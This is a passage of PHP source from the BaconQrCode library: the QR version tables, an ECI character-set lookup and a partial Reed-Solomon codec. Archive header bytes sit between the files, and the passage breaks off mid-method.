     */
    public static function getCharacterSetEciByName(string $name) : ?self
    {
        $nameToEci = self::nameToEci();
        $name = strtolower($name);

        if (! array_key_exists($name, $nameToEci)) {
            return null;
        }

        return $nameToEci[$name];
    }

    private static function valueToEci() : array
    {
        if (null !== self::$valueToEci) {
            return self::$valueToEci;
        }

        self::$valueToEci = [];

        foreach (self::values() as $eci) {
            foreach ($eci->values as $value) {
                self::$valueToEci[$value] = $eci;
            }
        }

        return self::$valueToEci;
    }

    private static function nameToEci() : array
    {
        if (null !== self::$nameToEci) {
            return self::$nameToEci;
        }

        self::$nameToEci = [];

        foreach (self::values() as $eci) {
            self::$nameToEci[strtolower($eci->name())] = $eci;

            foreach ($eci->otherEncodingNames as $name) {
                self::$nameToEci[strtolower($name)] = $eci;
            }
        }

        return self::$nameToEci;
    }
}
PKh�\�}n�pUpU1vendor/bacon/bacon-qr-code/src/Common/Version.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use BaconQrCode\Exception\InvalidArgumentException;
use SplFixedArray;

/**
 * Version representation.
 */
final class Version
{
    private const VERSION_DECODE_INFO = [
        0x07c94,
        0x085bc,
        0x09a99,
        0x0a4d3,
        0x0bbf6,
        0x0c762,
        0x0d847,
        0x0e60d,
        0x0f928,
        0x10b78,
        0x1145d,
        0x12a17,
        0x13532,
        0x149a6,
        0x15683,
        0x168c9,
        0x177ec,
        0x18ec4,
        0x191e1,
        0x1afab,
        0x1b08e,
        0x1cc1a,
        0x1d33f,
        0x1ed75,
        0x1f250,
        0x209d5,
        0x216f0,
        0x228ba,
        0x2379f,
        0x24b0b,
        0x2542e,
        0x26a64,
        0x27541,
        0x28c69,
    ];

    /**
     * Version number of this version.
     *
     * @var int
     */
    private $versionNumber;

    /**
     * Alignment pattern centers.
     *
     * @var SplFixedArray
     */
    private $alignmentPatternCenters;

    /**
     * Error correction blocks.
     *
     * @var EcBlocks[]
     */
    private $ecBlocks;

    /**
     * Total number of codewords.
     *
     * @var int
     */
    private $totalCodewords;

    /**
     * Cached version instances.
     *
     * @var array<int, self>|null
     */
    private static $versions;

    /**
     * @param int[] $alignmentPatternCenters
     */
    private function __construct(
        int $versionNumber,
        array $alignmentPatternCenters,
        EcBlocks ...$ecBlocks
    ) {
        $this->versionNumber = $versionNumber;
        $this->alignmentPatternCenters = $alignmentPatternCenters;
        $this->ecBlocks = $ecBlocks;

        $totalCodewords = 0;
        $ecCodewords = $ecBlocks[0]->getEcCodewordsPerBlock();

        foreach ($ecBlocks[0]->getEcBlocks() as $ecBlock) {
            $totalCodewords += $ecBlock->getCount() * ($ecBlock->getDataCodewords() + $ecCodewords);
        }

        $this->totalCodewords = $totalCodewords;
    }

    /**
     * Returns the version number.
     */
    public function getVersionNumber() : int
    {
        return $this->versionNumber;
    }

    /**
     * Returns the alignment pattern centers.
     *
     * @return int[]
     */
    public function getAlignmentPatternCenters() : array
    {
        return $this->alignmentPatternCenters;
    }

    /**
     * Returns the total number of codewords.
     */
    public function getTotalCodewords() : int
    {
        return $this->totalCodewords;
    }

    /**
     * Calculates the dimension for the current version.
     */
    public function getDimensionForVersion() : int
    {
        return 17 + 4 * $this->versionNumber;
    }

    /**
     * Returns the number of EC blocks for a specific EC level.
     */
    public function getEcBlocksForLevel(ErrorCorrectionLevel $ecLevel) : EcBlocks
    {
        return $this->ecBlocks[$ecLevel->ordinal()];
    }

    /**
     * Gets a provisional version number for a specific dimension.
     *
     * @throws InvalidArgumentException if dimension is not 1 mod 4
     */
    public static function getProvisionalVersionForDimension(int $dimension) : self
    {
        if (1 !== $dimension % 4) {
            throw new InvalidArgumentException('Dimension is not 1 mod 4');
        }

        return self::getVersionForNumber(intdiv($dimension - 17, 4));
    }

    /**
     * Gets a version instance for a specific version number.
     *
     * @throws InvalidArgumentException if version number is out of range
     */
    public static function getVersionForNumber(int $versionNumber) : self
    {
        if ($versionNumber < 1 || $versionNumber > 40) {
            throw new InvalidArgumentException('Version number must be between 1 and 40');
        }

        return self::versions()[$versionNumber - 1];
    }

    /**
     * Decodes version information from an integer and returns the version.
     */
    public static function decodeVersionInformation(int $versionBits) : ?self
    {
        $bestDifference = PHP_INT_MAX;
        $bestVersion = 0;

        foreach (self::VERSION_DECODE_INFO as $i => $targetVersion) {
            if ($targetVersion === $versionBits) {
                return self::getVersionForNumber($i + 7);
            }

            $bitsDifference = FormatInformation::numBitsDiffering($versionBits, $targetVersion);

            if ($bitsDifference < $bestDifference) {
                $bestVersion = $i + 7;
                $bestDifference = $bitsDifference;
            }
        }

        if ($bestDifference <= 3) {
            return self::getVersionForNumber($bestVersion);
        }

        return null;
    }

    /**
     * Builds the function pattern for the current version.
     */
    public function buildFunctionPattern() : BitMatrix
    {
        $dimension = $this->getDimensionForVersion();
        $bitMatrix = new BitMatrix($dimension);

        // Top left finder pattern + separator + format
        $bitMatrix->setRegion(0, 0, 9, 9);
        // Top right finder pattern + separator + format
        $bitMatrix->setRegion($dimension - 8, 0, 8, 9);
        // Bottom left finder pattern + separator + format
        $bitMatrix->setRegion(0, $dimension - 8, 9, 8);

        // Alignment patterns
        $max = count($this->alignmentPatternCenters);

        for ($x = 0; $x < $max; ++$x) {
            $i = $this->alignmentPatternCenters[$x] - 2;

            for ($y = 0; $y < $max; ++$y) {
                if (($x === 0 && ($y === 0 || $y === $max - 1)) || ($x === $max - 1 && $y === 0)) {
                    // No alignment patterns near the three finder paterns
                    continue;
                }

                $bitMatrix->setRegion($this->alignmentPatternCenters[$y] - 2, $i, 5, 5);
            }
        }

        // Vertical timing pattern
        $bitMatrix->setRegion(6, 9, 1, $dimension - 17);
        // Horizontal timing pattern
        $bitMatrix->setRegion(9, 6, $dimension - 17, 1);

        if ($this->versionNumber > 6) {
            // Version info, top right
            $bitMatrix->setRegion($dimension - 11, 0, 3, 6);
            // Version info, bottom left
            $bitMatrix->setRegion(0, $dimension - 11, 6, 3);
        }

        return $bitMatrix;
    }

    /**
     * Returns a string representation for the version.
     */
    public function __toString() : string
    {
        return (string) $this->versionNumber;
    }

    /**
     * Build and cache a specific version.
     *
     * See ISO 18004:2006 6.5.1 Table 9.
     *
     * @return array<int, self>
     */
    private static function versions() : array
    {
        if (null !== self::$versions) {
            return self::$versions;
        }

        return self::$versions = [
            new self(
                1,
                [],
                new EcBlocks(7, new EcBlock(1, 19)),
                new EcBlocks(10, new EcBlock(1, 16)),
                new EcBlocks(13, new EcBlock(1, 13)),
                new EcBlocks(17, new EcBlock(1, 9))
            ),
            new self(
                2,
                [6, 18],
                new EcBlocks(10, new EcBlock(1, 34)),
                new EcBlocks(16, new EcBlock(1, 28)),
                new EcBlocks(22, new EcBlock(1, 22)),
                new EcBlocks(28, new EcBlock(1, 16))
            ),
            new self(
                3,
                [6, 22],
                new EcBlocks(15, new EcBlock(1, 55)),
                new EcBlocks(26, new EcBlock(1, 44)),
                new EcBlocks(18, new EcBlock(2, 17)),
                new EcBlocks(22, new EcBlock(2, 13))
            ),
            new self(
                4,
                [6, 26],
                new EcBlocks(20, new EcBlock(1, 80)),
                new EcBlocks(18, new EcBlock(2, 32)),
                new EcBlocks(26, new EcBlock(3, 24)),
                new EcBlocks(16, new EcBlock(4, 9))
            ),
            new self(
                5,
                [6, 30],
                new EcBlocks(26, new EcBlock(1, 108)),
                new EcBlocks(24, new EcBlock(2, 43)),
                new EcBlocks(18, new EcBlock(2, 15), new EcBlock(2, 16)),
                new EcBlocks(22, new EcBlock(2, 11), new EcBlock(2, 12))
            ),
            new self(
                6,
                [6, 34],
                new EcBlocks(18, new EcBlock(2, 68)),
                new EcBlocks(16, new EcBlock(4, 27)),
                new EcBlocks(24, new EcBlock(4, 19)),
                new EcBlocks(28, new EcBlock(4, 15))
            ),
            new self(
                7,
                [6, 22, 38],
                new EcBlocks(20, new EcBlock(2, 78)),
                new EcBlocks(18, new EcBlock(4, 31)),
                new EcBlocks(18, new EcBlock(2, 14), new EcBlock(4, 15)),
                new EcBlocks(26, new EcBlock(4, 13), new EcBlock(1, 14))
            ),
            new self(
                8,
                [6, 24, 42],
                new EcBlocks(24, new EcBlock(2, 97)),
                new EcBlocks(22, new EcBlock(2, 38), new EcBlock(2, 39)),
                new EcBlocks(22, new EcBlock(4, 18), new EcBlock(2, 19)),
                new EcBlocks(26, new EcBlock(4, 14), new EcBlock(2, 15))
            ),
            new self(
                9,
                [6, 26, 46],
                new EcBlocks(30, new EcBlock(2, 116)),
                new EcBlocks(22, new EcBlock(3, 36), new EcBlock(2, 37)),
                new EcBlocks(20, new EcBlock(4, 16), new EcBlock(4, 17)),
                new EcBlocks(24, new EcBlock(4, 12), new EcBlock(4, 13))
            ),
            new self(
                10,
                [6, 28, 50],
                new EcBlocks(18, new EcBlock(2, 68), new EcBlock(2, 69)),
                new EcBlocks(26, new EcBlock(4, 43), new EcBlock(1, 44)),
                new EcBlocks(24, new EcBlock(6, 19), new EcBlock(2, 20)),
                new EcBlocks(28, new EcBlock(6, 15), new EcBlock(2, 16))
            ),
            new self(
                11,
                [6, 30, 54],
                new EcBlocks(20, new EcBlock(4, 81)),
                new EcBlocks(30, new EcBlock(1, 50), new EcBlock(4, 51)),
                new EcBlocks(28, new EcBlock(4, 22), new EcBlock(4, 23)),
                new EcBlocks(24, new EcBlock(3, 12), new EcBlock(8, 13))
            ),
            new self(
                12,
                [6, 32, 58],
                new EcBlocks(24, new EcBlock(2, 92), new EcBlock(2, 93)),
                new EcBlocks(22, new EcBlock(6, 36), new EcBlock(2, 37)),
                new EcBlocks(26, new EcBlock(4, 20), new EcBlock(6, 21)),
                new EcBlocks(28, new EcBlock(7, 14), new EcBlock(4, 15))
            ),
            new self(
                13,
                [6, 34, 62],
                new EcBlocks(26, new EcBlock(4, 107)),
                new EcBlocks(22, new EcBlock(8, 37), new EcBlock(1, 38)),
                new EcBlocks(24, new EcBlock(8, 20), new EcBlock(4, 21)),
                new EcBlocks(22, new EcBlock(12, 11), new EcBlock(4, 12))
            ),
            new self(
                14,
                [6, 26, 46, 66],
                new EcBlocks(30, new EcBlock(3, 115), new EcBlock(1, 116)),
                new EcBlocks(24, new EcBlock(4, 40), new EcBlock(5, 41)),
                new EcBlocks(20, new EcBlock(11, 16), new EcBlock(5, 17)),
                new EcBlocks(24, new EcBlock(11, 12), new EcBlock(5, 13))
            ),
            new self(
                15,
                [6, 26, 48, 70],
                new EcBlocks(22, new EcBlock(5, 87), new EcBlock(1, 88)),
                new EcBlocks(24, new EcBlock(5, 41), new EcBlock(5, 42)),
                new EcBlocks(30, new EcBlock(5, 24), new EcBlock(7, 25)),
                new EcBlocks(24, new EcBlock(11, 12), new EcBlock(7, 13))
            ),
            new self(
                16,
                [6, 26, 50, 74],
                new EcBlocks(24, new EcBlock(5, 98), new EcBlock(1, 99)),
                new EcBlocks(28, new EcBlock(7, 45), new EcBlock(3, 46)),
                new EcBlocks(24, new EcBlock(15, 19), new EcBlock(2, 20)),
                new EcBlocks(30, new EcBlock(3, 15), new EcBlock(13, 16))
            ),
            new self(
                17,
                [6, 30, 54, 78],
                new EcBlocks(28, new EcBlock(1, 107), new EcBlock(5, 108)),
                new EcBlocks(28, new EcBlock(10, 46), new EcBlock(1, 47)),
                new EcBlocks(28, new EcBlock(1, 22), new EcBlock(15, 23)),
                new EcBlocks(28, new EcBlock(2, 14), new EcBlock(17, 15))
            ),
            new self(
                18,
                [6, 30, 56, 82],
                new EcBlocks(30, new EcBlock(5, 120), new EcBlock(1, 121)),
                new EcBlocks(26, new EcBlock(9, 43), new EcBlock(4, 44)),
                new EcBlocks(28, new EcBlock(17, 22), new EcBlock(1, 23)),
                new EcBlocks(28, new EcBlock(2, 14), new EcBlock(19, 15))
            ),
            new self(
                19,
                [6, 30, 58, 86],
                new EcBlocks(28, new EcBlock(3, 113), new EcBlock(4, 114)),
                new EcBlocks(26, new EcBlock(3, 44), new EcBlock(11, 45)),
                new EcBlocks(26, new EcBlock(17, 21), new EcBlock(4, 22)),
                new EcBlocks(26, new EcBlock(9, 13), new EcBlock(16, 14))
            ),
            new self(
                20,
                [6, 34, 62, 90],
                new EcBlocks(28, new EcBlock(3, 107), new EcBlock(5, 108)),
                new EcBlocks(26, new EcBlock(3, 41), new EcBlock(13, 42)),
                new EcBlocks(30, new EcBlock(15, 24), new EcBlock(5, 25)),
                new EcBlocks(28, new EcBlock(15, 15), new EcBlock(10, 16))
            ),
            new self(
                21,
                [6, 28, 50, 72, 94],
                new EcBlocks(28, new EcBlock(4, 116), new EcBlock(4, 117)),
                new EcBlocks(26, new EcBlock(17, 42)),
                new EcBlocks(28, new EcBlock(17, 22), new EcBlock(6, 23)),
                new EcBlocks(30, new EcBlock(19, 16), new EcBlock(6, 17))
            ),
            new self(
                22,
                [6, 26, 50, 74, 98],
                new EcBlocks(28, new EcBlock(2, 111), new EcBlock(7, 112)),
                new EcBlocks(28, new EcBlock(17, 46)),
                new EcBlocks(30, new EcBlock(7, 24), new EcBlock(16, 25)),
                new EcBlocks(24, new EcBlock(34, 13))
            ),
            new self(
                23,
                [6, 30, 54, 78, 102],
                new EcBlocks(30, new EcBlock(4, 121), new EcBlock(5, 122)),
                new EcBlocks(28, new EcBlock(4, 47), new EcBlock(14, 48)),
                new EcBlocks(30, new EcBlock(11, 24), new EcBlock(14, 25)),
                new EcBlocks(30, new EcBlock(16, 15), new EcBlock(14, 16))
            ),
            new self(
                24,
                [6, 28, 54, 80, 106],
                new EcBlocks(30, new EcBlock(6, 117), new EcBlock(4, 118)),
                new EcBlocks(28, new EcBlock(6, 45), new EcBlock(14, 46)),
                new EcBlocks(30, new EcBlock(11, 24), new EcBlock(16, 25)),
                new EcBlocks(30, new EcBlock(30, 16), new EcBlock(2, 17))
            ),
            new self(
                25,
                [6, 32, 58, 84, 110],
                new EcBlocks(26, new EcBlock(8, 106), new EcBlock(4, 107)),
                new EcBlocks(28, new EcBlock(8, 47), new EcBlock(13, 48)),
                new EcBlocks(30, new EcBlock(7, 24), new EcBlock(22, 25)),
                new EcBlocks(30, new EcBlock(22, 15), new EcBlock(13, 16))
            ),
            new self(
                26,
                [6, 30, 58, 86, 114],
                new EcBlocks(28, new EcBlock(10, 114), new EcBlock(2, 115)),
                new EcBlocks(28, new EcBlock(19, 46), new EcBlock(4, 47)),
                new EcBlocks(28, new EcBlock(28, 22), new EcBlock(6, 23)),
                new EcBlocks(30, new EcBlock(33, 16), new EcBlock(4, 17))
            ),
            new self(
                27,
                [6, 34, 62, 90, 118],
                new EcBlocks(30, new EcBlock(8, 122), new EcBlock(4, 123)),
                new EcBlocks(28, new EcBlock(22, 45), new EcBlock(3, 46)),
                new EcBlocks(30, new EcBlock(8, 23), new EcBlock(26, 24)),
                new EcBlocks(30, new EcBlock(12, 15), new EcBlock(28, 16))
            ),
            new self(
                28,
                [6, 26, 50, 74, 98, 122],
                new EcBlocks(30, new EcBlock(3, 117), new EcBlock(10, 118)),
                new EcBlocks(28, new EcBlock(3, 45), new EcBlock(23, 46)),
                new EcBlocks(30, new EcBlock(4, 24), new EcBlock(31, 25)),
                new EcBlocks(30, new EcBlock(11, 15), new EcBlock(31, 16))
            ),
            new self(
                29,
                [6, 30, 54, 78, 102, 126],
                new EcBlocks(30, new EcBlock(7, 116), new EcBlock(7, 117)),
                new EcBlocks(28, new EcBlock(21, 45), new EcBlock(7, 46)),
                new EcBlocks(30, new EcBlock(1, 23), new EcBlock(37, 24)),
                new EcBlocks(30, new EcBlock(19, 15), new EcBlock(26, 16))
            ),
            new self(
                30,
                [6, 26, 52, 78, 104, 130],
                new EcBlocks(30, new EcBlock(5, 115), new EcBlock(10, 116)),
                new EcBlocks(28, new EcBlock(19, 47), new EcBlock(10, 48)),
                new EcBlocks(30, new EcBlock(15, 24), new EcBlock(25, 25)),
                new EcBlocks(30, new EcBlock(23, 15), new EcBlock(25, 16))
            ),
            new self(
                31,
                [6, 30, 56, 82, 108, 134],
                new EcBlocks(30, new EcBlock(13, 115), new EcBlock(3, 116)),
                new EcBlocks(28, new EcBlock(2, 46), new EcBlock(29, 47)),
                new EcBlocks(30, new EcBlock(42, 24), new EcBlock(1, 25)),
                new EcBlocks(30, new EcBlock(23, 15), new EcBlock(28, 16))
            ),
            new self(
                32,
                [6, 34, 60, 86, 112, 138],
                new EcBlocks(30, new EcBlock(17, 115)),
                new EcBlocks(28, new EcBlock(10, 46), new EcBlock(23, 47)),
                new EcBlocks(30, new EcBlock(10, 24), new EcBlock(35, 25)),
                new EcBlocks(30, new EcBlock(19, 15), new EcBlock(35, 16))
            ),
            new self(
                33,
                [6, 30, 58, 86, 114, 142],
                new EcBlocks(30, new EcBlock(17, 115), new EcBlock(1, 116)),
                new EcBlocks(28, new EcBlock(14, 46), new EcBlock(21, 47)),
                new EcBlocks(30, new EcBlock(29, 24), new EcBlock(19, 25)),
                new EcBlocks(30, new EcBlock(11, 15), new EcBlock(46, 16))
            ),
            new self(
                34,
                [6, 34, 62, 90, 118, 146],
                new EcBlocks(30, new EcBlock(13, 115), new EcBlock(6, 116)),
                new EcBlocks(28, new EcBlock(14, 46), new EcBlock(23, 47)),
                new EcBlocks(30, new EcBlock(44, 24), new EcBlock(7, 25)),
                new EcBlocks(30, new EcBlock(59, 16), new EcBlock(1, 17))
            ),
            new self(
                35,
                [6, 30, 54, 78, 102, 126, 150],
                new EcBlocks(30, new EcBlock(12, 121), new EcBlock(7, 122)),
                new EcBlocks(28, new EcBlock(12, 47), new EcBlock(26, 48)),
                new EcBlocks(30, new EcBlock(39, 24), new EcBlock(14, 25)),
                new EcBlocks(30, new EcBlock(22, 15), new EcBlock(41, 16))
            ),
            new self(
                36,
                [6, 24, 50, 76, 102, 128, 154],
                new EcBlocks(30, new EcBlock(6, 121), new EcBlock(14, 122)),
                new EcBlocks(28, new EcBlock(6, 47), new EcBlock(34, 48)),
                new EcBlocks(30, new EcBlock(46, 24), new EcBlock(10, 25)),
                new EcBlocks(30, new EcBlock(2, 15), new EcBlock(64, 16))
            ),
            new self(
                37,
                [6, 28, 54, 80, 106, 132, 158],
                new EcBlocks(30, new EcBlock(17, 122), new EcBlock(4, 123)),
                new EcBlocks(28, new EcBlock(29, 46), new EcBlock(14, 47)),
                new EcBlocks(30, new EcBlock(49, 24), new EcBlock(10, 25)),
                new EcBlocks(30, new EcBlock(24, 15), new EcBlock(46, 16))
            ),
            new self(
                38,
                [6, 32, 58, 84, 110, 136, 162],
                new EcBlocks(30, new EcBlock(4, 122), new EcBlock(18, 123)),
                new EcBlocks(28, new EcBlock(13, 46), new EcBlock(32, 47)),
                new EcBlocks(30, new EcBlock(48, 24), new EcBlock(14, 25)),
                new EcBlocks(30, new EcBlock(42, 15), new EcBlock(32, 16))
            ),
            new self(
                39,
                [6, 26, 54, 82, 110, 138, 166],
                new EcBlocks(30, new EcBlock(20, 117), new EcBlock(4, 118)),
                new EcBlocks(28, new EcBlock(40, 47), new EcBlock(7, 48)),
                new EcBlocks(30, new EcBlock(43, 24), new EcBlock(22, 25)),
                new EcBlocks(30, new EcBlock(10, 15), new EcBlock(67, 16))
            ),
            new self(
                40,
                [6, 30, 58, 86, 114, 142, 170],
                new EcBlocks(30, new EcBlock(19, 118), new EcBlock(6, 119)),
                new EcBlocks(28, new EcBlock(18, 47), new EcBlock(31, 48)),
                new EcBlocks(30, new EcBlock(34, 24), new EcBlock(34, 25)),
                new EcBlocks(30, new EcBlock(20, 15), new EcBlock(61, 16))
            ),
        ];
    }
}
PKh�\�"�9:9::vendor/bacon/bacon-qr-code/src/Common/ReedSolomonCodec.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use BaconQrCode\Exception\InvalidArgumentException;
use BaconQrCode\Exception\RuntimeException;
use SplFixedArray;

/**
 * Reed-Solomon codec for 8-bit characters.
 *
 * Based on libfec by Phil Karn, KA9Q.
 */
final class ReedSolomonCodec
{
    /**
     * Symbol size in bits.
     *
     * @var int
     */
    private $symbolSize;

    /**
     * Block size in symbols.
     *
     * @var int
     */
    private $blockSize;

    /**
     * First root of RS code generator polynomial, index form.
     *
     * @var int
     */
    private $firstRoot;

    /**
     * Primitive element to generate polynomial roots, index form.
     *
     * @var int
     */
    private $primitive;

    /**
     * Prim-th root of 1, index form.
     *
     * @var int
     */
    private $iPrimitive;

    /**
     * RS code generator polynomial degree (number of roots).
     *
     * @var int
     */
    private $numRoots;

    /**
     * Padding bytes at front of shortened block.
     *
     * @var int
     */
    private $padding;

    /**
     * Log lookup table.
     *
     * @var SplFixedArray
     */
    private $alphaTo;

    /**
     * Anti-Log lookup table.
     *
     * @var SplFixedArray
     */
    private $indexOf;

    /**
     * Generator polynomial.
     *
     * @var SplFixedArray
     */
    private $generatorPoly;

    /**
     * @throws InvalidArgumentException if symbol size ist not between 0 and 8
     * @throws InvalidArgumentException if first root is invalid
     * @throws InvalidArgumentException if num roots is invalid
     * @throws InvalidArgumentException if padding is invalid
     * @throws RuntimeException if field generator polynomial is not primitive
     */
    public function __construct(
        int $symbolSize,
        int $gfPoly,
        int $firstRoot,
        int $primitive,
        int $numRoots,
        int $padding
    ) {
        if ($symbolSize < 0 || $symbolSize > 8) {
            throw new InvalidArgumentException('Symbol size must be between 0 and 8');
        }

        if ($firstRoot < 0 || $firstRoot >= (1 << $symbolSize)) {
            throw new InvalidArgumentException('First root must be between 0 and ' . (1 << $symbolSize));
        }

        if ($numRoots < 0 || $numRoots >= (1 << $symbolSize)) {
            throw new InvalidArgumentException('Num roots must be between 0 and ' . (1 << $symbolSize));
        }

        if ($padding < 0 || $padding >= ((1 << $symbolSize) - 1 - $numRoots)) {
            throw new InvalidArgumentException(
                'Padding must be between 0 and ' . ((1 << $symbolSize) - 1 - $numRoots)
            );
        }

        $this->symbolSize = $symbolSize;
        $this->blockSize = (1 << $symbolSize) - 1;
        $this->padding = $padding;
        $this->alphaTo = SplFixedArray::fromArray(array_fill(0, $this->blockSize + 1, 0), false);
        $this->indexOf = SplFixedArray::fromArray(array_fill(0, $this->blockSize + 1, 0), false);

        // Generate galous field lookup table
        $this->indexOf[0] = $this->blockSize;
        $this->alphaTo[$this->blockSize] = 0;

        $sr = 1;

        for ($i = 0; $i < $this->blockSize; ++$i) {
            $this->indexOf[$sr] = $i;
            $this->alphaTo[$i]  = $sr;

            $sr <<= 1;

            if ($sr & (1 << $symbolSize)) {
                $sr ^= $gfPoly;
            }

            $sr &= $this->blockSize;
        }

        if (1 !== $sr) {
            throw new RuntimeException('Field generator polynomial is not primitive');
        }

        // Form RS code generator polynomial from its roots
        $this->generatorPoly = SplFixedArray::fromArray(array_fill(0, $numRoots + 1, 0), false);
        $this->firstRoot = $firstRoot;
        $this->primitive = $primitive;
        $this->numRoots = $numRoots;

        // Find prim-th root of 1, used in decoding
        for ($iPrimitive = 1; ($iPrimitive % $primitive) !== 0; $iPrimitive += $this->blockSize) {
        }

        $this->iPrimitive = intdiv($iPrimitive, $primitive);

        $this->generatorPoly[0] = 1;

        for ($i = 0, $root = $firstRoot * $primitive; $i < $numRoots; ++$i, $root += $primitive) {
            $this->generatorPoly[$i + 1] = 1;

            for ($j = $i; $j > 0; $j--) {
                if ($this->generatorPoly[$j] !== 0) {
                    $this->generatorPoly[$j] = $this->generatorPoly[$j - 1] ^ $this->alphaTo[
                        $this->modNn($this->indexOf[$this->generatorPoly[$j]] + $root)
                    ];
                } else {
                    $this->generatorPoly[$j] = $this->generatorPoly[$j - 1];
                }
            }

            $this->generatorPoly[$j] = $this->alphaTo[$this->modNn($this->indexOf[$this->generatorPoly[0]] + $root)];
        }

        // Convert generator poly to index form for quicker encoding
        for ($i = 0; $i <= $numRoots; ++$i) {
            $this->generatorPoly[$i] = $this->indexOf[$this->generatorPoly[$i]];
        }
    }

    /**
     * Encodes data and writes result back into parity array.
     */
    public function encode(SplFixedArray $data, SplFixedArray $parity) : void
    {
        for ($i = 0; $i < $this->numRoots; ++$i) {
            $parity[$i] = 0;
        }

        $iterations = $this->blockSize - $this->numRoots - $this->padding;

        for ($i = 0; $i < $iterations; ++$i) {
            $feedback = $this->indexOf[$data[$i] ^ $parity[0]];

            if ($feedback !== $this->blockSize) {
                // Feedback term is non-zero
                $feedback = $this->modNn($this->blockSize - $this->generatorPoly[$this->numRoots] + $feedback);

                for ($j = 1; $j < $this->numRoots; ++$j) {
                    $parity[$j] = $parity[$j] ^ $this->alphaTo[
                        $this->modNn($feedback + $this->generatorPoly[$this->numRoots - $j])
                    ];
                }
            }

            for ($j = 0; $j < $this->numRoots - 1; ++$j) {
                $parity[$j] = $parity[$j + 1];
            }

            if ($feedback !== $this->blockSize) {
                $parity[$this->numRoots - 1] = $this->alphaTo[$this->modNn($feedback + $this->generatorPoly[0])];
            } else {
                $parity[$this->numRoots - 1] = 0;
            }
        }
    }

    /**
     * Decodes received data.
     */
    public function decode(SplFixedArray $data, SplFixedArray $erasures = null) : ?int
    {
        // This speeds up the initialization a bit.
        $numRootsPlusOne = SplFixedArray::fromArray(array_fill(0, $this->numRoots + 1, 0), false);
        $numRoots = SplFixedArray::fromArray(array_fill(0, $this->numRoots, 0), false);

        $lambda = clone $numRootsPlusOne;
        $b = clone $numRootsPlusOne;
        $t = clone $numRootsPlusOne;
        $omega = clone $numRootsPlusOne;
        $root = clone $numRoots;
        $loc = clone $numRoots;

        $numErasures = (null !== $erasures ? count($erasures) : 0);

        // Form the Syndromes; i.e., evaluate data(x) at roots of g(x)
        $syndromes = SplFixedArray::fromArray(array_fill(0, $this->numRoots, $data[0]), false);

        for ($i = 1; $i < $this->blockSize - $this->padding; ++$i) {
            for ($j = 0; $j < $this->numRoots; ++$j) {
                if ($syndromes[$j] === 0) {
                    $syndromes[$j] = $data[$i];
                } else {
                    $syndromes[$j] = $data[$i] ^ $this->alphaTo[
                        $this->modNn($this->indexOf[$syndromes[$j]] + ($this->firstRoot + $j) * $this->primitive)
                    ];
                }
            }
        }

        // Convert syndromes to index form, checking for nonzero conditions
        $syndromeError = 0;

        for ($i = 0; $i < $this->numRoots; ++$i) {
            $syndromeError |= $syndromes[$i];
            $syndromes[$i] = $this->indexOf[$syndromes[$i]];
        }

        if (! $syndromeError) {
            // If syndrome is zero, data[] is a codeword and there are no errors to correct, so return data[]
            // unmodified.
            return 0;
        }

        $lambda[0] = 1;

        if ($numErasures > 0) {
            // Init lambda to be the erasure locator polynomial
            $lambda[1] = $this->alphaTo[$this->modNn($this->primitive * ($this->blockSize - 1 - $erasures[0]))];

            for ($i = 1; $i < $numErasures; ++$i) {
                $u = $this->modNn($this->primitive * ($this->blockSize - 1 - $erasures[$i]));

                for ($j = $i + 1; $j > 0; --$j) {
                    $tmp = $this->indexOf[$lambda[$j - 1]];

                    if ($tmp !== $this->blockSize) {
                        $lambda[$j] = $lambda[$j] ^ $this->alphaTo[$this->modNn($u + $tmp)];
                    }
                }
            }
        }

        for ($i = 0; $i <= $this->numRoots; ++$i) {
            $b[$i] = $this->indexOf[$lambda[$i]];
        }

        // Begin Berlekamp-Massey algorithm to determine error+erasure locator polynomial
        $r  = $numErasures;
        $el = $numErasures;

        while (++$r <= $this->numRoots) {
            // Compute discrepancy at the r-th step in poly form
            $discrepancyR = 0;

            for ($i = 0; $i < $r; ++$i) {
                if ($lambda[$i] !== 0 && $syndromes[$r - $i - 1] !== $this->blockSize) {
                    $discrepancyR ^= $this->alphaTo[
                        $this->modNn($this->indexOf[$lambda[$i]] + $syndromes[$r - $i - 1])
                    ];
                }
            }

            $discrepancyR = $this->indexOf[$discrepancyR];

            if ($discrepancyR === $this->blockSize) {
                $tmp = $b->toArray();
                array_unshift($tmp, $this->blockSize);
                array_pop($tmp);
                $b = SplFixedArray::fromArray($tmp, false);
                continue;
            }

            $t[0] = $lambda[0];

            for ($i = 0; $i < $this->numRoots; ++$i) {
                if ($b[$i] !== $this->blockSize) {
                    $t[$i + 1] = $lambda[$i + 1] ^ $this->alphaTo[$this->modNn($discrepancyR + $b[$i])];
                } else {
                    $t[$i + 1] = $lambda[$i + 1];
                }
            }

            if (2 * $el <= $r + $numErasures - 1) {
                $el = $r + $numErasures - $el;

                for ($i = 0; $i <= $this->numRoots; ++$i) {
                    $b[$i] = (
                        $lambda[$i] === 0
                        ? $this->blockSize
                        : $this->modNn($this->indexOf[$lambda[$i]] - $discrepancyR + $this->blockSize)
                    );
                }
            } else {
                $tmp = $b->toArray();
                array_unshift($tmp, $this->blockSize);
                array_pop($tmp);
                $b = SplFixedArray::fromArray($tmp, false);
            }

            $lambda = clone $t;
        }

        // Convert lambda to index form and compute deg(lambda(x))
        $degLambda = 0;

        for ($i = 0; $i <= $this->numRoots; ++$i) {
            $lambda[$i] = $this->indexOf[$lambda[$i]];

            if ($lambda[$i] !== $this->blockSize) {
                $degLambda = $i;
            }
        }

        // Find roots of the error+erasure locator polynomial by Chien search.
        $reg = clone $lambda;
        $reg[0] = 0;
        $count = 0;
        $i = 1;

        for ($k = $this->iPrimitive - 1; $i <= $this->blockSize; ++$i, $k = $this->modNn($k + $this->iPrimitive)) {
            $q = 1;

            for ($j = $degLambda; $j > 0; $j--) {
                if ($reg[$j] !== $this->blockSize) {
                    $reg[$j] = $this->modNn($reg[$j] + $j);
                    $q ^= $this->alphaTo[$reg[$j]];
                }
            }

            if ($q !== 0) {
                // Not a root
                continue;
            }

            // Store root (index-form) and error location number
            $root[$count] = $i;
            $loc[$count] = $k;

            if (++$count === $degLambda) {
                break;
            }
        }

        if ($degLambda !== $count) {
            // deg(lambda) unequal to number of roots: uncorrectable error detected
            return null;
        }

        // Compute err+eras evaluate poly omega(x) = s(x)*lambda(x) (modulo x**numRoots). In index form. Also find
        // deg(omega).
        $degOmega = $degLambda - 1;

        for ($i = 0; $i <= $degOmega; ++$i) {
            $tmp = 0;

